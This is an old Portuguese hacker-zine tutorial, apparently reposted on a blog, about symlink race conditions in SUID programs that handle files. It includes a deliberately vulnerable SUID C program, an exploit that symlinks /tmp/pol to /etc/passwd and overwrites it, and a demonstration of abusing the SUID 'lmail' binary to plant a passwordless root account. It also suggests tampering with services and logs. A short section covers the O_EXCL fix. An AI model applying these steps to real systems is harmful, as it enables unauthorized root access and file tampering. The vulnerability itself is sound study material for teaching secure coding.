O perigo das funções que manipulam arquivos: Race condition

####################################################
################ Unsekurity Scene ##################
#########http://unsekurity.vitualave.net############
####################################################

Desenvolvido por Hophet hophet@yahoo.com.br
Este e outros txts podem ser obtidos em: http://unsekurity.virtualave.net (link não offline mais =/)


###############################################
############## Race Condition #################
####### Funções que manipulam arquivos ########
###############################################


* Índice:
———

1 – Introdução.
2 – Condições não Atômicas – Conceito.
3 – Explorando – Pratica.
4 – Consertando Tudo.
5 – Ultimas Palavras.
6 – Links.


1 – Introdução
————–

PS.: Todos os testes foram feitos em um Slackware 7.0 kernel 2.2.13, 2.2.18.

Fala Pessoal, mais uma vez aqui estou eu trazendo mais informações a respeito de “race conditions” pra comunidade fuçadora, o objetivo é documentar mais esta técnica tao pouco falada e aplicada. Espero que o pessoal venha usar as informações aqui contidas pra crescer em conhecimento e também aumentar um pouco mais a visão do fuçador nos possíveis esquemas, utilizando tal técnica. O problema mais uma vez acontece com a mau programação onde desenvolvedores de softwares não se preocupam com a segurança de suas aplicações e a partir daí surgem explorações diversas, mas pra frente veremos onde entra isso.

Se pode definir uma condição de Corrida(race condition) como um “Comportamento anomalito devido a uma dependência excessiva no tempo relativo transcorrido entre diferentes eventos”(tradução de Free On-line Dictionary of Computing). Estes eventos podem ser desde funções que abram um arquivo, também suas permissões, etc, ate a relação de valor de alguma variável compartilhada por 2 processo,como já foi dito antes.

2 – Condições não atômicas – Conceito
————————————-

As condições não atômicas ocorrem quando não se pode assegurar que uma operação e a seguinte vão ocorrer de maneira seguida no processador. Isto ocorre quando depois da primeira operação, o processador assina um intervalo de tempo a outro processo (fundamento da multitarefa em sistemas mono processador). Este é um exemplo de programa que contem um Race condition em funções que manipulam arquivos:

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

#define ARQUIVO "/tmp/pol"

int main(void)
{
FILE *fd;
struct stat estado, estado2;

if (access(ARQUIVO, F_OK) < 0)
{
fprintf(stderr,"O arquivo nao existe, criando-o...\n");
fd = fopen(ARQUIVO,"a");
fprintf(fd, "Eh a primeira vez que se cria o arquivo.\n");
}
else
{
fprintf(stdout,"O arquivo ja existe:\n");
fprintf(stdout,"Adicionando caracteres ao final!\n");

fd = fopen(ARQUIVO,"r+");
if (lstat(ARQUIVO, &estado2) == -1)
{
perror("lstat");
exit(-1);
}
if (S_ISLNK(estado.st_mode))
{
fprintf(stdout,"Race condition conseguido\n");
}
fseek(fd, 0, SEEK_END);
fprintf(fd,"Ola Fucadores!\n");
}
fclose(fd);
return(0);
}

Compile este programa como root e sete o bit SUID root para nossos testes:

sh-2.03# gcc race_vuln.c -o race_vuln
sh-2.03# chmod +s race_vuln

O que este programa, basicamente, faz é:

  1. Comprovar a existência do arquivo “pol” no diretório /tmp.
  2. Se não existe, ele cria e escreve uma notificação conforme é a primeira vez que se escreve no arquivo.
  3. Se existe, abre o arquivo e escreve “Ola Fuçadores!”.

Além disso, é adicionado um fragmento de código que comprove se foi produzido uma race condition ou não. (Isto é irrelevante para demonstrar como ocorre realmente).

Estas operações são muito comuns em quase todos os programas existentes. Mas que ocorreria se depois de comprovar a existência do arquivo com a chamada de sistema access() e justo antes de abri-lo com fopen(), outro programa interferisse e tomasse o arquivo por um link simbólico?

Como podemos imaginar, o programa, efetivamente abriria /tmp/pol,porem ele seria um link, realmente estaria operando sobre o arquivo a que ele aponta, pelo que adicionaria dados ao final do mesmo. Este fato pode permitir criar novos arquivos ou alterar os já existentes. Com isso podemos imaginar muitas coisas possíveis e realmente são muitas.


3 – Explorando – Pratica
————————

O método mais simples, sim não é o mais “claro”, de demonstrar este erro de programação é fazer executar em um loop o programa vulnerável e varias ordens que permitirão tomar o arquivo que se escreve a outro de seu enlace(link).

Aqui vai um simples exploit que vai realizar o trabalho pra gente, mais isto poderia ser feito “na unha”. O que ele faz eh 1o remover qualquer arquivo “pol” do /tmp, criar um link simbólico pra “/etc/passwd” com o nome de “pol” e rodar o nosso programa vulnerável, assim ele ao invés de escrever em /tmp/pol ele ira escrever no /etc/passwd. Não esqueça de fazer um backup do “/etc/passwd” antes de tentar isso.

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

int main(int argc, char **argv)
{

if (argc < 2)
{
fprintf(stderr,"Use: %s
\n",argv[0]);
exit(-1);
}

while (1)
{
system("rm -rf /tmp/pol;ln -s /etc/passwd pol");
system(argv[1]);
break;
}

return(0);
}

Agora vamos aplicar o exploit em cima do “race_vuln”:

Veja:

sh-2.03$ ls -l
-rwsr-sr-x 1 root root 15553 Jul 8 05:09 race_vuln
-rw-r--r-- 1 hophet users 808 Jul 8 04:06 race_vuln.c
-rwxr-xr-x 1 hophet users 12112 Jul 8 04:08 exploit
-rw-r--r-- 1 hophet users 329 Jul 8 04:08 exploit.c

sh-2.03$ ./exploit race_vuln

O arquivo já existe: Adicionando caracteres ao final. Pronto, rodamos o nosso exploit em cima do programa vulnerável, agora vamos ver o que aconteceu com o /etc/passwd.

Veja:

sh-2.03$ cat /tmp/pol
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:1::/home/ftp:/bin/bash
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
nobody:x:99:99:nobody:/:
hophet:x:1000:100:Hophet,,,:/home/hophet:/bin/bash
crist:x:1001:100::/home/crist:/bin/bash
cairo:x:1002:100:,,,:/home/cairo:/bin/bash
mp3:x:777:777:mp3 player:/home/mp3:/bin/bash
pol:x:1003:100:Pol Meyen,,,:/home/pol:/bin/bash
Ola Fucadores!

sh-2.03$ cat /etc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:1::/home/ftp:/bin/bash
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
nobody:x:99:99:nobody:/:
hophet:x:1000:100:Hophet,,,:/home/hophet:/bin/bash
crist:x:1001:100::/home/crist:/bin/bash
cairo:x:1002:100:,,,:/home/cairo:/bin/bash
mp3:x:777:777:mp3 player:/home/mp3:/bin/bash
pol:x:1003:100:Pol Meyen,,,:/home/pol:/bin/bash
Ola Fucadores!

Veja,funciona, o programa escreveu realmente dentro do “/etc/passwd”. Vemos que com isso podemos realmente modificar qualquer arquivo dentro do sistema. O programa vulnerável acima foi apenas um exemplo pra mostra-lhes como funciona, mas existem programas onde nos podemos manipular a saída pra os arquivos temporários, assim poderíamos colocar no “passwd” uma conta “root” realmente. Isso acontece com o agente de email “lmail” que só roda com o bit SUID e cria temporários no /tmp onde nos podemos manipular a saída pra o “/etc/passwd”, vejamos rapidamente um pouco sobre ele.

Veja:

sh-2.03$ ls -l `which lmail`
-rws--x--x 1 root root 9220 Nov 25 1993 /usr/bin/lmail*


sh-2.03$ echo `perl -e 'print "\n"'`pol::0:0::/root:/bin/bash | lmail -f
lmail: write failed to temp file /tmp/lmail29856


sh-2.03$ cat /tmp/lmail29856
pol::0:0::/root:/bin/bash

Como viram, agora era só criar o link simbólico pra “/etc/passwd” com o nome acima(/tmp/lmail29856) e a conta root”pol::0:0:/root:/bin/bash” estaria la dentro do “/etc/passwd”. É, isso realmente é útil e podemos com isso fazer muitas e muitas coisas dentro do sistema, basta colocar a cabeça pra pensar e tudo se abrira a você). Poderíamos criar ou modificar serviços, acrescentar contas como foi demonstrado, modificar log’s, entre muitas outras coisas. Existem muitos programas vulneráveis a isso basta correr um pouco atrás e ler uns fontes que você acha um tanto.


4 – Concertando Tudo.
———————

Como o problema é um erro de programação, não é muito complicado resolve-lo, basta que os programadores ou fuçadores ao criar seus programas tenham atenção com sua estrutura e com a manipulação de arquivos, “setanto” permissões,etc. Uma das melhores soluções para este problema é o código seguinte:

char *filename;
int fd;

do {
filename = tempnam (NULL, "foo");
fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
free(filename);
} while (fd == -1);

Este fragmento de código intenta criar um arquivo com um nome temporal único em um loop, ate que ele consegue. Tao simples, como útil e seguro. Basta adicionar este código ao “race_vuln.c” e aplicar as devidas mudanças que ele deixa de ser vulnerável a Race Condition, o mesmo pode ser feito com outros programas com o mesmo problema. É uma questão de atenção e cuidado.

5 – Ultimas Palavras.
———————

Como viram “Race Condition” é muito poderoso e vale a pena pra um fuçador dominar tal “técnica” pois aumenta bastante a visão do mesmo, e com certeza é e vai ser muito útil aos fuçadores. Temos vários casos de RC e com o tempo eles serão aperfeiçoados e aplicados com mais poder e controle. Nosso caminho eh lento e difícil e estamos nele pra chegar ao fim(existe o fim??!:) sempre lutando pela busca a “informação”. É, vou ficando por aqui com minhas humildes palavras, espero ter contribuído mais uma vez para o crescimento da comunidade fuçadora. Um abraco a todo o pessoal da Unsekurity Scene a Martini, Blood_Sucker, eSc2, Martin Fallon, e a todos que tem contribuído para o crescimento do hacking verdadeiro.

6 – Links.
———-

lmail

http://hophet.hobbiton.org/lmail.tar.gz

Hp pessoal

http://hophet.hobbiton.org

SecurityFocus

http://www.securityfocus.org

Um abraco.

Hophet vulgo Pol Meyen.

——————————– EOF ———————————

Outros links:

http://en.wikipedia.org/wiki/Race_condition
http://www.vivaolinux.com.br/artigo/Race-condition-vulnerabilidades-em-suids
http://www.freebsd.org/doc/en/books/developers-handbook/secure-race-conditions.html
http://hackproofing.blogspot.com/2009/01/race-condition.html
http://support.microsoft.com/kb/317723

[]‘s

Textos Relacionados:

Deixe um Comentário

1 Comentários.

  1. VonNaturAustreVe via Rec6 - trackback on 23 de Fevereiro de 2010 em 19:09

Deixe um Comentário

Trackbacks e Pingbacks:

SEO Powered by Platinum SEO from Techblissonline